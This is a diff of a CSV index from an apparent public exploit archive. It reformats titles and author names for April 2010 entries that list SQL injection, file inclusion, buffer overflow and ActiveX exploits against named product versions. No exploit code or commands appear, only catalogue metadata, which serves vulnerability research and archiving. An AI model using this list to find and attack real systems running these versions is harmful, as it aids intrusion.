-12201,platforms/windows/dos/12201.html,"MagnetoSoft DNS v4.0.0.9 ActiveX DNSLookupHostWithServer POC",2010-04-13,s4squatch,windows,dos,0
-12202,platforms/windows/remote/12202.html,"MagnetoSoft ICMP v4.0.0.18 ActiveX AddDestinationEntry BOF",2010-04-13,s4squatch,windows,remote,0
-12203,platforms/windows/remote/12203.html,"MagnetoSoft SNTP v4.0.0.7 ActiveX SntpGetReply BOF",2010-04-13,s4squatch,windows,remote,0
-12204,platforms/windows/dos/12204.html,"MagnetoSoft SNTP v4.0.0.7 ActiveX SntpSendRequest Crash POC",2010-04-13,s4squatch,windows,dos,0
-12205,platforms/windows/dos/12205.html,"MagnetoSoft NetworkResources v4.0.0.5 ActiveX NetSessionDel POC",2010-04-13,s4squatch,windows,dos,0
-12206,platforms/windows/dos/12206.html,"MagnetoSoft NetworkResources v4.0.0.5 ActiveX NetFileClose SEH Overwrite POC",2010-04-13,s4squatch,windows,dos,0
-12207,platforms/windows/dos/12207.html,"MagnetoSoft NetworkResources v4.0.0.5 ActiveX NetShareEnum SEH Overwrite POC",2010-04-13,s4squatch,windows,dos,0
+12201,platforms/windows/dos/12201.html,"MagnetoSoft DNS 4.0.0.9 - ActiveX DNSLookupHostWithServer POC",2010-04-13,s4squatch,windows,dos,0
+12202,platforms/windows/remote/12202.html,"MagnetoSoft ICMP 4.0.0.18 - ActiveX AddDestinationEntry BOF",2010-04-13,s4squatch,windows,remote,0
+12203,platforms/windows/remote/12203.html,"MagnetoSoft SNTP 4.0.0.7 - ActiveX SntpGetReply BOF",2010-04-13,s4squatch,windows,remote,0
+12204,platforms/windows/dos/12204.html,"MagnetoSoft SNTP 4.0.0.7 - ActiveX SntpSendRequest Crash POC",2010-04-13,s4squatch,windows,dos,0
+12205,platforms/windows/dos/12205.html,"MagnetoSoft NetworkResources 4.0.0.5 - ActiveX NetSessionDel POC",2010-04-13,s4squatch,windows,dos,0
+12206,platforms/windows/dos/12206.html,"MagnetoSoft NetworkResources 4.0.0.5 - ActiveX NetFileClose SEH Overwrite POC",2010-04-13,s4squatch,windows,dos,0
+12207,platforms/windows/dos/12207.html,"MagnetoSoft NetworkResources 4.0.0.5 - ActiveX NetShareEnum SEH Overwrite POC",2010-04-13,s4squatch,windows,dos,0
 12208,platforms/windows/dos/12208.html,"MagnetoSoft NetworkResources ActiveX NetConnectionEnum SEH Overwrite POC",2010-04-13,s4squatch,windows,dos,0
 12212,platforms/php/webapps/12212.txt,"Opentel Openmairie tel 1.02 Local File Include Vulnerability",2010-04-14,cr4wl3r,php,webapps,0
 12213,platforms/windows/local/12213.c,"Micropoint Proactive Denfense Mp110013.sys <= 1.3.10123.0 Local Privilege Escalation Exploit",2010-04-14,MJ0011,windows,local,0
 12217,platforms/multiple/dos/12217.py,"Remote Exploit Against the Aircrack-NG Tools svn r1675",2010-04-14,"Lukas Lueg",multiple,dos,0
-12218,platforms/asp/webapps/12218.txt,"School Management System Pro 6.0.0 Backup Dump Vulnerability",2010-04-14,indoushka,asp,webapps,0
-12219,platforms/php/webapps/12219.txt,"Mp3 Online Id Tag Editor RFI Vulnerability",2010-04-14,indoushka,php,webapps,0
-12220,platforms/php/webapps/12220.txt,"almnzm 2.1 <= SQL Injection Vulnerability",2010-04-14,"NeX HaCkEr",php,webapps,0
-12221,platforms/php/webapps/12221.rb,"Bild Flirt <= version 1.0 SQL Injection Vulnerability Exploit",2010-04-14,"Easy Laster",php,webapps,0
-12222,platforms/php/webapps/12222.txt,"PhpMesFilms 1.8 SQL Injection Vulnerability",2010-04-14,indoushka,php,webapps,0
-12223,platforms/php/webapps/12223.txt,"Multi-Mirror Remote Upload Vulnerability",2010-04-14,indoushka,php,webapps,0
-12224,platforms/php/webapps/12224.txt,"Mihalism Multi Host V 4.0.0 Upload Vulnerability",2010-04-14,indoushka,php,webapps,0
-12226,platforms/php/webapps/12226.txt,"Magic Uploader Mini Upload Vulnerability",2010-04-14,"indoushka ",php,webapps,0
+12218,platforms/asp/webapps/12218.txt,"School Management System Pro 6.0.0 Backup Dump Vulnerability",2010-04-14,"indoushka salah el ddine",asp,webapps,0
+12219,platforms/php/webapps/12219.txt,"Mp3 Online Id Tag Editor RFI Vulnerability",2010-04-14,"indoushka salah el ddine",php,webapps,0
+12220,platforms/php/webapps/12220.txt,"Almnzm <= 2.1 - SQL Injection Vulnerability",2010-04-14,"NeX HaCkeR",php,webapps,0
+12221,platforms/php/webapps/12221.rb,"Bild Flirt <= 1.0 - SQL Injection Vulnerability Exploit",2010-04-14,"Easy Laster",php,webapps,0
+12222,platforms/php/webapps/12222.txt,"PhpMesFilms 1.8 SQL Injection Vulnerability",2010-04-14,"indoushka salah el ddine",php,webapps,0
+12223,platforms/php/webapps/12223.txt,"Multi-Mirror Remote Upload Vulnerability",2010-04-14,"indoushka salah el ddine",php,webapps,0
+12224,platforms/php/webapps/12224.txt,"Mihalism Multi Host V 4.0.0 Upload Vulnerability",2010-04-14,"indoushka salah el ddine",php,webapps,0
+12226,platforms/php/webapps/12226.txt,"Magic Uploader Mini Upload Vulnerability",2010-04-14,"indoushka salah el ddine",php,webapps,0
 12227,platforms/php/webapps/12227.txt,"YUI Images Script Shell Upload Vulnerability",2010-04-14,Mr.P3rfekT,php,webapps,0
-12228,platforms/windows/dos/12228.py,"MovieLibrary v1.4.401 Local Dos .dmv File",2010-04-14,anonymous,windows,dos,0
-12229,platforms/windows/dos/12229.py,"Book Library v1.4.162 Local Dos .bkd File",2010-04-14,anonymous,windows,dos,0
+12228,platforms/windows/dos/12228.py,"MovieLibrary 1.4.401 - Local DoS (.dmv)",2010-04-14,Anonymous,windows,dos,0
+12229,platforms/windows/dos/12229.py,"Book Library 1.4.162 - Local DoS (.bkd)",2010-04-14,Anonymous,windows,dos,0
 12230,platforms/php/webapps/12230.txt,"Joomla Component wgPicasa com_wgpicasa Local File Inclusion Vulnerability",2010-04-14,AntiSecurity,php,webapps,0
 12231,platforms/php/webapps/12231.txt,"Joomla Component S5 Clan Roster com_s5clanroster Local File Inclusion Vulnerability",2010-04-14,AntiSecurity,php,webapps,0
 12232,platforms/php/webapps/12232.txt,"Joomla Component Photo Battle com_photobattle Local File Inclusion Vulnerability",2010-04-14,AntiSecurity,php,webapps,0
@@ -11166,17 +11166,17 @@ id,file,description,date,author,platform,type,port
 12237,platforms/php/webapps/12237.txt,"Joomla Component Delicious Bookmarks com_delicious Local File Inclusion Vulnerability",2010-04-14,AntiSecurity,php,webapps,0
 12238,platforms/php/webapps/12238.txt,"Joomla Component Deluxe Blog Factory com_blogfactory Local File Inclusion Vulnerability",2010-04-14,AntiSecurity,php,webapps,0
 12239,platforms/php/webapps/12239.txt,"Joomla Component BeeHeard Lite com_beeheard Local File Inclusion Vulnerability",2010-04-14,AntiSecurity,php,webapps,0
-12240,platforms/windows/dos/12240.py,"Mocha LPD v1.9 Remote Buffer Overflow DoS PoC",2010-04-14,mr_me,windows,dos,0
+12240,platforms/windows/dos/12240.py,"Mocha LPD 1.9 - Remote Buffer Overflow DoS PoC",2010-04-14,mr_me,windows,dos,0
 12241,platforms/php/webapps/12241.txt,"Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability",2010-04-14,eidelweiss,php,webapps,0
 12242,platforms/jsp/webapps/12242.txt,"RJ-iTop Network Vulnerability Scanner System Multiple SQL Injection Vulnerabilities",2010-04-14,wsn1983,jsp,webapps,0
-12243,platforms/windows/dos/12243.py,"RPM Select/Elite v5.0 (.xml config parsing) unicode buffer overflow PoC",2010-04-14,mr_me,windows,dos,0
+12243,platforms/windows/dos/12243.py,"RPM Select/Elite 5.0 - (.xml config parsing) Unicode Buffer Overflow PoC",2010-04-14,mr_me,windows,dos,0
 12244,platforms/windows/remote/12244.txt,"iMesh <= 7.1.0.x (IMWeb.dll 7.0.0.x) Remote Heap Overflow Exploit",2007-12-18,rgod,windows,remote,0
 12245,platforms/php/webapps/12245.txt,"Softbiz B2B trading Marketplace Script buyers_subcategories SQL Injection Vulnerability",2010-04-15,"AnGrY BoY",php,webapps,0
 12246,platforms/php/webapps/12246.txt,"Joomla Component com_iproperty 1.5.3 (id) SQL Injection Vulnerability",2010-04-15,v3n0m,php,webapps,0
-12247,platforms/windows/remote/12247.html,"Magneto Net Resource ActiveX v4.0.0.5 NetFileClose Exploit (Universal)",2010-04-15,dookie,windows,remote,0
-12248,platforms/windows/remote/12248.html,"Magneto Net Resource ActiveX v4.0.0.5 NetConnectionEnum Exploit (Universal)",2010-04-15,dookie,windows,remote,0
-12249,platforms/php/webapps/12249.txt,"60cycleCMS v2.5.2 (DOCUMENT_ROOT) Multiple Local File Inclusion Vulnerability",2010-04-15,eidelweiss,php,webapps,0
-12250,platforms/windows/remote/12250.html,"Magneto Net Resource ActiveX v4.0.0.5 NetShareEnum Exploit (Universal)",2010-04-15,dookie,windows,remote,0
+12247,platforms/windows/remote/12247.html,"Magneto Net Resource ActiveX 4.0.0.5 - NetFileClose Exploit (Universal)",2010-04-15,dookie,windows,remote,0
+12248,platforms/windows/remote/12248.html,"Magneto Net Resource ActiveX 4.0.0.5 - NetConnectionEnum Exploit (Universal)",2010-04-15,dookie,windows,remote,0
+12249,platforms/php/webapps/12249.txt,"60cycleCMS 2.5.2 - (DOCUMENT_ROOT) Multiple Local File Inclusion Vulnerability",2010-04-15,eidelweiss,php,webapps,0
+12250,platforms/windows/remote/12250.html,"Magneto Net Resource ActiveX 4.0.0.5 - NetShareEnum Exploit (Universal)",2010-04-15,dookie,windows,remote,0
 12251,platforms/php/webapps/12251.php,"Camiro-CMS_beta-0.1 (fckeditor) Remote Arbitrary File Upload Exploit",2010-04-15,eidelweiss,php,webapps,0
 12252,platforms/hardware/dos/12252.txt,"IBM BladeCenter Management Module - DoS vulnerability",2010-04-15,"Alexey Sintsov",hardware,dos,0
 12254,platforms/php/webapps/12254.txt,"CMS (fckeditor) Remote Arbitrary File Upload Exploit",2010-04-16,Mr.MLL,php,webapps,0
@@ -11187,7 +11187,7 @@ id,file,description,date,author,platform,type,port
 12259,platforms/php/dos/12259.php,"PHP 5.3.x DoS",2010-04-16,ITSecTeam,php,dos,0
 12260,platforms/php/webapps/12260.txt,"SIESTTA 2.0 (LFI/XSS) Multiple Vulnerabilities",2010-04-16,JosS,php,webapps,0
 12261,platforms/windows/local/12261.rb,"Archive Searcher .zip Stack Overflow",2010-04-16,Lincoln,windows,local,0
-12262,platforms/php/webapps/12262.php,"ZykeCMS V1.1 (Auth Bypass) SQL Injection Vulnerability",2010-04-16,"Giuseppe 'giudinvx' D'Inverno",php,webapps,0
+12262,platforms/php/webapps/12262.php,"ZykeCMS 1.1 - (Auth Bypass) SQL Injection Vulnerability",2010-04-16,"Giuseppe 'giudinvx' D'Inverno",php,webapps,0
 12263,platforms/multiple/remote/12263.txt,"Apache OFBiz SQL Remote Execution PoC Payload",2010-04-16,"Lucas Apa",multiple,remote,0
 12264,platforms/multiple/remote/12264.txt,"Apache OFBiz FULLADMIN Creator PoC Payload",2010-04-16,"Lucas Apa",multiple,remote,0
 12265,platforms/hardware/remote/12265.txt,"Unauthenticated File-system Access in Iomega Home Media Network Hard Drive v. 2.038 - 2.061",2010-04-16,fizix610,hardware,remote,0
@@ -11201,10 +11201,10 @@ id,file,description,date,author,platform,type,port
 12274,platforms/windows/dos/12274.py,"Multiple Vendor AgentX++ Stack Buffer Overflow",2010-04-17,ZSploit.com,windows,dos,0
 12276,platforms/php/webapps/12276.txt,"Redaxo CMS 4.2.1 Remote File Inclusion Vulnerability",2010-04-18,eidelweiss,php,webapps,0
 12277,platforms/php/webapps/12277.txt,"Openscrutin 1.03 (RFI/LFI) Multiple File Include Vulnerability",2010-04-18,cr4wl3r,php,webapps,0
-12278,platforms/php/webapps/12278.txt,"Alegro 1.2.1 SQL Injection Vulnerability",2010-04-18,indoushka,php,webapps,0
-12279,platforms/php/webapps/12279.txt,"eclime v1.1 ByPass / Create and Download Backup Vulnerability",2010-04-18,indoushka,php,webapps,0
+12278,platforms/php/webapps/12278.txt,"Alegro 1.2.1 SQL Injection Vulnerability",2010-04-18,"indoushka salah el ddine",php,webapps,0
+12279,platforms/php/webapps/12279.txt,"eclime 1.1 - Bypass / Create and Download Backup Vulnerability",2010-04-18,"indoushka salah el ddine",php,webapps,0
 12280,platforms/php/webapps/12280.txt,"dl_stats Multiple Vulnerabilities",2010-04-18,"Valentin Hoebel",php,webapps,0
-12282,platforms/php/webapps/12282.txt,"Joomla Component Archery Scores (com_archeryscores) v1.0.6 LFI Vulnerability",2010-04-18,"wishnusakti + inc0mp13te",php,webapps,0
+12282,platforms/php/webapps/12282.txt,"Joomla Component Archery Scores (com_archeryscores) 1.0.6 - LFI Vulnerability",2010-04-18,"wishnusakti + inc0mp13te",php,webapps,0
 12283,platforms/php/webapps/12283.txt,"Joomla Component ZiMB Comment com_zimbcomment Local File Inclusion Vulnerability",2010-04-18,AntiSecurity,php,webapps,0
 12284,platforms/php/webapps/12284.txt,"Joomla Component ZiMB Manager com_zimbcore Local File Inclusion Vulnerability",2010-04-18,AntiSecurity,php,webapps,0
 12285,platforms/php/webapps/12285.txt,"Joomla Component Gadget Factory com_gadgetfactory Local File Inclusion Vulnerability",2010-04-18,AntiSecurity,php,webapps,0
@@ -11223,18 +11223,18 @@ id,file,description,date,author,platform,type,port
 12298,platforms/hardware/remote/12298.txt,"Huawei EchoLife HG520 Remote Information Disclosure",2010-04-19,hkm,hardware,remote,0
 12299,platforms/php/webapps/12299.txt,"Joomla Component GBU FACEBOOK SQL injection vulnerability",2010-04-19,kaMtiEz,php,webapps,0
 12301,platforms/php/webapps/12301.txt,"CMS Ariadna 2009 SQL Injection",2010-04-19,"Andrés Gómez",php,webapps,0
-12302,platforms/windows/dos/12302.html,"HP Operations Manager <= v8.16 - (srcvw4.dll) LoadFile()/SaveFile() Remote Unicode Stack Overflow PoC",2010-04-20,mr_me,windows,dos,0
+12302,platforms/windows/dos/12302.html,"HP Operations Manager <= 8.16 - (srcvw4.dll) LoadFile()/SaveFile() Remote Unicode Stack Overflow PoC",2010-04-20,mr_me,windows,dos,0
 12303,platforms/php/webapps/12303.pl,"MusicBox v 3.3 SQL Injection Exploit",2010-04-20,Ctacok,php,webapps,0
-12304,platforms/multiple/remote/12304.txt,"MultiThreaded HTTP Server v1.1 Directory Traversal",2010-04-20,chr1x,multiple,remote,0
+12304,platforms/multiple/remote/12304.txt,"MultiThreaded HTTP Server 1.1 - Directory Traversal",2010-04-20,chr1x,multiple,remote,0
 12305,platforms/php/webapps/12305.txt,"Joomla com_jnewspaper (cid) SQL Injection Vulnerability",2010-04-20,"Don Tukulesto",php,webapps,0
 12306,platforms/php/webapps/12306.txt,"Joomla Component JTM Reseller SQL injection vulnerability",2010-04-20,kaMtiEz,php,webapps,0
-12308,platforms/windows/remote/12308.txt,"MultiThreaded HTTP Server v1.1 Source Disclosure",2010-04-20,Dr_IDE,windows,remote,0
-12309,platforms/windows/remote/12309.txt,"Mongoose Web Server v2.8 Multiple Directory Traversal Exploits",2010-04-20,Dr_IDE,windows,remote,0
-12310,platforms/windows/remote/12310.txt,"Acritum Femitter v1.03 Directory Traversal Exploit",2010-04-20,Dr_IDE,windows,remote,0
+12308,platforms/windows/remote/12308.txt,"MultiThreaded HTTP Server 1.1 - Source Disclosure",2010-04-20,Dr_IDE,windows,remote,0
+12309,platforms/windows/remote/12309.txt,"Mongoose Web Server 2.8 - Multiple Directory Traversal Exploits",2010-04-20,Dr_IDE,windows,remote,0
+12310,platforms/windows/remote/12310.txt,"Acritum Femitter 1.03 - Directory Traversal Exploit",2010-04-20,Dr_IDE,windows,remote,0
 12312,platforms/windows/remote/12312.rb,"EasyFTP Server <= 1.7.0.2 CWD Buffer Overflow (Metasploit)",2010-04-20,"Paul Makowski",windows,remote,0
 12313,platforms/php/webapps/12313.txt,"Openregistrecil 1.02 (RFI/LFI) Multiple File Include Vulnerability",2010-04-20,cr4wl3r,php,webapps,0
 12314,platforms/windows/dos/12314.py,"Speed Commander 13.10 (.zip) Memory Corruption",2010-04-20,TecR0c,windows,dos,0
-12315,platforms/php/webapps/12315.txt,"v2marketplacescript Upload_images Script (-7777) Upload Shell Vulnerability",2010-04-21,cyberlog,php,webapps,0
+12315,platforms/php/webapps/12315.txt,"v2marketplacescript Upload_images Script (-7777) - Upload Shell Vulnerability",2010-04-21,Cyberlog,php,webapps,0
 12316,platforms/php/webapps/12316.txt,"Joomla Component wmi (com_wmi) LFI Vulnerability",2010-04-21,"wishnusakti + inc0mp13te",php,webapps,0
 12317,platforms/php/webapps/12317.txt,"Joomla Component OrgChart com_orgchart Local File Inclusion Vulnerability",2010-04-21,AntiSecurity,php,webapps,0
 12318,platforms/php/webapps/12318.txt,"Joomla Component MMS Blog com_mmsblog Local File Inclusion Vulnerability",2010-04-21,AntiSecurity,php,webapps,0
@@ -11245,30 +11245,30 @@ id,file,description,date,author,platform,type,port
 12324,platforms/multiple/dos/12324.py,"Multiple Browsers Audio Tag DoS Vulnerability",2010-04-21,"Chase Higgins",multiple,dos,0
 12325,platforms/php/webapps/12325.txt,"Joomla Component com_portfolio Local File Disclosure",2010-04-21,Mr.tro0oqy,php,webapps,0
 12326,platforms/windows/local/12326.py,"ZipGenius zgtips.dll Stack Buffer Overflow",2010-04-21,corelanc0d3r,windows,local,0
-12329,platforms/asp/webapps/12329.txt,"User Invoices Persistent XSS Vulnerability in CactuShop",2010-04-21,7Safe,asp,webapps,0
-12330,platforms/php/webapps/12330.txt,"Multiple XSS in Apache OFBiz",2010-04-21,"Lucas Apa",php,webapps,0
-12331,platforms/windows/remote/12331.txt,"MultiThreaded HTTP Server v1.1 Directory Traversal",2010-04-20,Dr_IDE,windows,remote,0
+12329,platforms/asp/webapps/12329.txt,"CactuShop - User Invoices Persistent XSS Vulnerability",2010-04-21,7Safe,asp,webapps,0
+12330,platforms/php/webapps/12330.txt,"Apache OFBiz - Multiple XSS",2010-04-21,"Lucas Apa",php,webapps,0
+12331,platforms/windows/remote/12331.txt,"MultiThreaded HTTP Server 1.1 - Directory Traversal",2010-04-20,Dr_IDE,windows,remote,0
 12332,platforms/windows/remote/12332.pl,"Xftp client 3.0 PWD Remote Exploit",2010-04-22,zombiefx,windows,remote,0
 12333,platforms/php/webapps/12333.txt,"CmS (id) SQL Injection Vulnerability",2010-04-22,spykit,php,webapps,0
 12334,platforms/linux/dos/12334.c,"OpenSSL remote DoS",2010-04-22,Andi,linux,dos,0
 12336,platforms/windows/dos/12336.c,"Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY local kernel Denial of Service Vulnerability",2010-04-22,MJ0011,windows,dos,0
 12337,platforms/windows/dos/12337.c,"Windows 2000/XP/2003 win32k.sys SfnINSTRING local kernel Denial of Service Vulnerability",2010-04-22,MJ0011,windows,dos,0
-12338,platforms/php/webapps/12338.txt,"SQL Injection in Cacti Version <= 0.8.7e",2010-04-22,"Nahuel Grisolia",php,webapps,0
-12339,platforms/php/webapps/12339.txt,"OS Command Injection in Cacti Version <= 0.8.7e",2010-04-22,"Nahuel Grisolia",php,webapps,0
-12340,platforms/php/webapps/12340.txt,"Vulnerability in Joomla Component com_caddy",2010-04-22,_SuBz3r0_,php,webapps,0
+12338,platforms/php/webapps/12338.txt,"Cacti Version <= 0.8.7e - SQL Injection",2010-04-22,"Nahuel Grisolia",php,webapps,0
+12339,platforms/php/webapps/12339.txt,"Cacti Version <= 0.8.7e - OS Command Injection",2010-04-22,"Nahuel Grisolia",php,webapps,0
+12340,platforms/php/webapps/12340.txt,"Joomla Component com_caddy - Vulnerability",2010-04-22,_SuBz3r0_,php,webapps,0
 12341,platforms/windows/dos/12341.txt,"EDraw Flowchart ActiveX Control 2.3 (EDImage.ocx) Remote DoS Exploit (IE)",2010-04-22,LiquidWorm,windows,dos,0
 12342,platforms/windows/local/12342.pl,"EDraw Flowchart ActiveX Control 2.3 (.edd parsing) Remote Buffer Overflow PoC",2010-04-22,LiquidWorm,windows,local,0
 12343,platforms/multiple/remote/12343.txt,"Apache Tomcat v. 5.5.0 to 5.5.29 & 6.0.0 to 6.0.26 information disclosure vulnerability",2010-04-22,"Deniz Cevik",multiple,remote,0
 12344,platforms/hardware/dos/12344.txt,"Apple iPhone 3.1.2 (7D11) Model MB702LL Mobile Safari Denial-of-Service",2010-04-19,"Matthew Bergin",hardware,dos,0
-12345,platforms/php/webapps/12345.txt,"phpGreetCards v3.7 XSS Vulnerabilities",2010-04-22,Valentin,php,webapps,0
-12346,platforms/php/webapps/12346.txt,"AJ Matrix v3.1 (id) Multiple SQL Injection Vulnerability",2010-04-22,v3n0m,php,webapps,0
-12349,platforms/php/webapps/12349.txt,"AJ Shopping Cart v1.0 (maincatid) SQL Injection Vulnerability",2010-04-22,v3n0m,php,webapps,0
+12345,platforms/php/webapps/12345.txt,"phpGreetCards 3.7 - XSS Vulnerabilities",2010-04-22,Valentin,php,webapps,0
+12346,platforms/php/webapps/12346.txt,"AJ Matrix 3.1 - (id) Multiple SQL Injection Vulnerability",2010-04-22,v3n0m,php,webapps,0
+12349,platforms/php/webapps/12349.txt,"AJ Shopping Cart 1.0 (maincatid) - SQL Injection Vulnerability",2010-04-22,v3n0m,php,webapps,0
 12350,platforms/php/webapps/12350.txt,"In-portal 5.0.3 Remote Arbitrary File Upload Exploit",2010-04-23,eidelweiss,php,webapps,0
 12351,platforms/php/webapps/12351.txt,"Memorial Web Site Script (id) SQL Injection Vulnerability",2010-04-23,v3n0m,php,webapps,0
-12353,platforms/php/webapps/12353.txt,"EPay Enterprise v4.13 (cid) SQL Injection Vulnerability",2010-04-23,v3n0m,php,webapps,0
+12353,platforms/php/webapps/12353.txt,"EPay Enterprise 4.13 - (cid) SQL Injection Vulnerability",2010-04-23,v3n0m,php,webapps,0
 12354,platforms/php/webapps/12354.pl,"NKINFOWEB SQL Injection Exploit",2010-04-23,d4rk-h4ck3r,php,webapps,0
 12355,platforms/php/webapps/12355.pl,"Excitemedia CMS SQL Injection Vulnerability",2010-04-23,"Dr.0rYX AND Cr3W-DZ",php,webapps,0
-12356,platforms/windows/dos/12356.c,"CommView Version 6.1 (Build 636) Local Denial Of Service (BSOD)",2010-04-23,p4r4N0ID,windows,dos,0
+12356,platforms/windows/dos/12356.c,"CommView 6.1 (Build 636) - Local Denial Of Service (BSOD)",2010-04-23,p4r4N0ID,windows,dos,0
 12358,platforms/php/webapps/12358.txt,"Memorial Web Site Script --> Reset Password & Insecure Cookie Handling",2010-04-23,"Chip D3 Bi0s",php,webapps,0
 12359,platforms/php/webapps/12359.txt,"Memorial Web Site Script Multiple Arbitrary Delete Vuln",2010-04-23,"Chip D3 Bi0s",php,webapps,0
 12360,platforms/php/webapps/12360.pl,"Template Seller Pro 3.25 (tempid) Remote SQL Injection Vulnerability",2010-04-23,v3n0m,php,webapps,0
@@ -11282,31 +11282,31 @@ id,file,description,date,author,platform,type,port
 12370,platforms/php/webapps/12370.txt,"XSS and Authentication bypass in NCT Jobs Portal Script",2010-04-24,Sid3^effects,php,webapps,0
 12371,platforms/php/webapps/12371.txt,"WHMCS control (WHMCompleteSolution) Sql Injection",2010-04-24,"Islam DefenDers",php,webapps,0
 12372,platforms/php/webapps/12372.txt,"AskMe Pro 2.1 (que_id) SQL Injection Vulnerability",2010-04-24,v3n0m,php,webapps,0
-12373,platforms/php/webapps/12373.txt,"Sethi Family Guestbook v3.1.8 XSS Vulnerabilities",2010-04-24,Valentin,php,webapps,0
-12374,platforms/php/webapps/12374.txt,"G5 Scripts Guestbook PHP v1.2.8 XSS Vulnerability",2010-04-24,Valentin,php,webapps,0
+12373,platforms/php/webapps/12373.txt,"Sethi Family Guestbook 3.1.8 - XSS Vulnerabilities",2010-04-24,Valentin,php,webapps,0
+12374,platforms/php/webapps/12374.txt,"G5 Scripts Guestbook PHP 1.2.8 - XSS Vulnerability",2010-04-24,Valentin,php,webapps,0
 12375,platforms/osx/dos/12375.c,"MacOS X 10.6 HFS File System Attack (Denial of Service)",2010-04-24,"Maksymilian Arciemowicz",osx,dos,0
 12376,platforms/php/webapps/12376.php,"SmodCMS 4.07 (fckeditor) - Remote Arbitrary File Upload Exploit",2010-04-24,eidelweiss,php,webapps,0
 12378,platforms/php/webapps/12378.txt,"CMS Firebrand Tec Local File Inclusion Vulnerability",2010-04-25,R3VAN_BASTARD,php,webapps,0
-12379,platforms/windows/local/12379.php,"Easyzip 2000 v3.5 (.zip) 0day stack buffer overflow PoC exploit",2010-04-25,mr_me,windows,local,0
+12379,platforms/windows/local/12379.php,"Easyzip 2000 3.5 - (.zip) 0day stack buffer overflow PoC exploit",2010-04-25,mr_me,windows,local,0
 12380,platforms/windows/remote/12380.pl,"Rumba ftp Client 4.2 PASV BoF (SEH)",2010-04-25,zombiefx,windows,remote,0
 12381,platforms/php/webapps/12381.php,"phpegasus (fckeditor) Remote Arbitrary File Upload Exploit",2010-04-25,eidelweiss,php,webapps,0
-12382,platforms/multiple/dos/12382.txt,"Invision Power Board 0-day Denial of Service",2010-04-25,SeeMe,multiple,dos,0
-12383,platforms/php/webapps/12383.txt,"clipak Upload Vulnerability",2010-04-25,indoushka,php,webapps,0
+12382,platforms/multiple/dos/12382.txt,"Invision Power Board - Denial of Service (0day)",2010-04-25,SeeMe,multiple,dos,0
+12383,platforms/php/webapps/12383.txt,"clipak Upload Vulnerability",2010-04-25,"indoushka salah el ddine",php,webapps,0
 12384,platforms/php/webapps/12384.txt,"Powered by iNetScripts: Shell Upload Vulnerability",2010-04-25,Sec-q8,php,webapps,0
 12385,platforms/php/webapps/12385.html,"TR Forum 1.5 insert admin CSRF Vulnerability",2010-04-25,EL-KAHINA,php,webapps,0
-12386,platforms/php/webapps/12386.txt,"PHP Classifieds V6.09 E-mail Dump Vulnerability",2010-04-25,indoushka,php,webapps,0
+12386,platforms/php/webapps/12386.txt,"PHP Classifieds 6.09 - E-mail Dump Vulnerability",2010-04-25,"indoushka salah el ddine",php,webapps,0
 12387,platforms/php/webapps/12387.sh,"WebEssence 1.0.2 Multiple Vulnerabilities",2010-04-25,"white_sheep, R00T_ATI and epicfail",php,webapps,0
-12388,platforms/windows/local/12388.rb,"WM Downloader v3.0.0.9 Buffer Overflow (Meta)",2010-04-25,Blake,windows,local,0
+12388,platforms/windows/local/12388.rb,"WM Downloader 3.0.0.9 - Buffer Overflow (Meta)",2010-04-25,Blake,windows,local,0
 12395,platforms/php/webapps/12395.txt,"2daybiz Advanced Poll Script XSS and Authentication Bypass",2010-04-26,Sid3^effects,php,webapps,0
 12396,platforms/php/webapps/12396.txt,"OpenCominterne 1.01 Local File Include Vulnerability",2010-04-26,cr4wl3r,php,webapps,0
 12398,platforms/php/webapps/12398.txt,"Opencourrier 2.03beta (RFI/LFI) Multiple File Include Vulnerability",2010-04-26,cr4wl3r,php,webapps,0
 12399,platforms/php/webapps/12399.txt,"Uiga Personal Portal index.php (view) SQL Injection",2010-04-26,41.w4r10r,php,webapps,0
 12400,platforms/php/webapps/12400.txt,"Joomla Component com_joomradio SQL injection vulnerability",2010-04-26,Mr.tro0oqy,php,webapps,0
 12401,platforms/multiple/dos/12401.html,"WebKit <= 532.5 Stack Exhaustion",2010-04-26,"Mathias Karlsson",multiple,dos,0
-12402,platforms/php/webapps/12402.txt,"Kasseler CMS 2.0.5 => By Pass / Download Backup Vulnerability",2010-04-26,indoushka,php,webapps,0
-12403,platforms/windows/local/12403.py,"IDEAL Administration 2010 v10.2 Local Buffer Overflow Exploit",2010-04-26,Dr_IDE,windows,local,0
-12404,platforms/windows/local/12404.py,"IDEAL Migration 2009 v4.5.1 Local Buffer Overflow Exploit",2010-04-26,Dr_IDE,windows,local,0
-12406,platforms/windows/local/12406.py,"Avast! 4.7 aavmker4.sys privilege escalation",2010-04-27,"Matteo Memelli",windows,local,0
+12402,platforms/php/webapps/12402.txt,"Kasseler CMS 2.0.5 => By Pass / Download Backup Vulnerability",2010-04-26,"indoushka salah el ddine",php,webapps,0
+12403,platforms/windows/local/12403.py,"IDEAL Administration 2010 10.2 - Local Buffer Overflow Exploit",2010-04-26,Dr_IDE,windows,local,0
+12404,platforms/windows/local/12404.py,"IDEAL Migration 2009 4.5.1 - Local Buffer Overflow Exploit",2010-04-26,Dr_IDE,windows,local,0
+12406,platforms/windows/local/12406.py,"Avast! 4.7 aavmker4.sys privilege escalation",2010-04-27,ryujin,windows,local,0
 12407,platforms/php/webapps/12407.txt,"CMScout 2.08 SQL Injection Vulnerability",2010-04-26,"Dr.0rYX and Cr3w-DZ",php,webapps,0
 12408,platforms/windows/dos/12408.pl,"Safari 4.0.5 (531.22.7) Denial of Service",2010-04-26,"Xss mAn",windows,dos,0
 12410,platforms/php/webapps/12410.txt,"PostNuke 0.764 Module modload SQL Injection Vulnerability",2010-04-26,BILGE_KAGAN,php,webapps,0
@@ -11316,19 +11316,19 @@ id,file,description,date,author,platform,type,port
 12414,platforms/php/webapps/12414.txt,"2daybiz Auction Script Authentication Bypass",2010-04-27,Sid3^effects,php,webapps,0
 12415,platforms/php/webapps/12415.txt,"Infocus Real Estate Enterprise Edition Script Authentication Bypass",2010-04-27,Sid3^effects,php,webapps,0
 12416,platforms/php/webapps/12416.txt,"PHP Quick Arcade 3.0.21 Multiple Vulnerabilites",2010-04-27,ITSecTeam,php,webapps,0
-12417,platforms/windows/remote/12417.py,"Bigant Messenger <= v2.52 - (AntCore.dll) RegisterCom() Remote 0day Heap Overflow",2010-04-27,mr_me,windows,remote,0
-12419,platforms/php/webapps/12419.txt,"Boutique SudBox 1.2 Changer Login et Mot de Passe CSRF Vulnerability",2010-04-27,indoushka,php,webapps,0
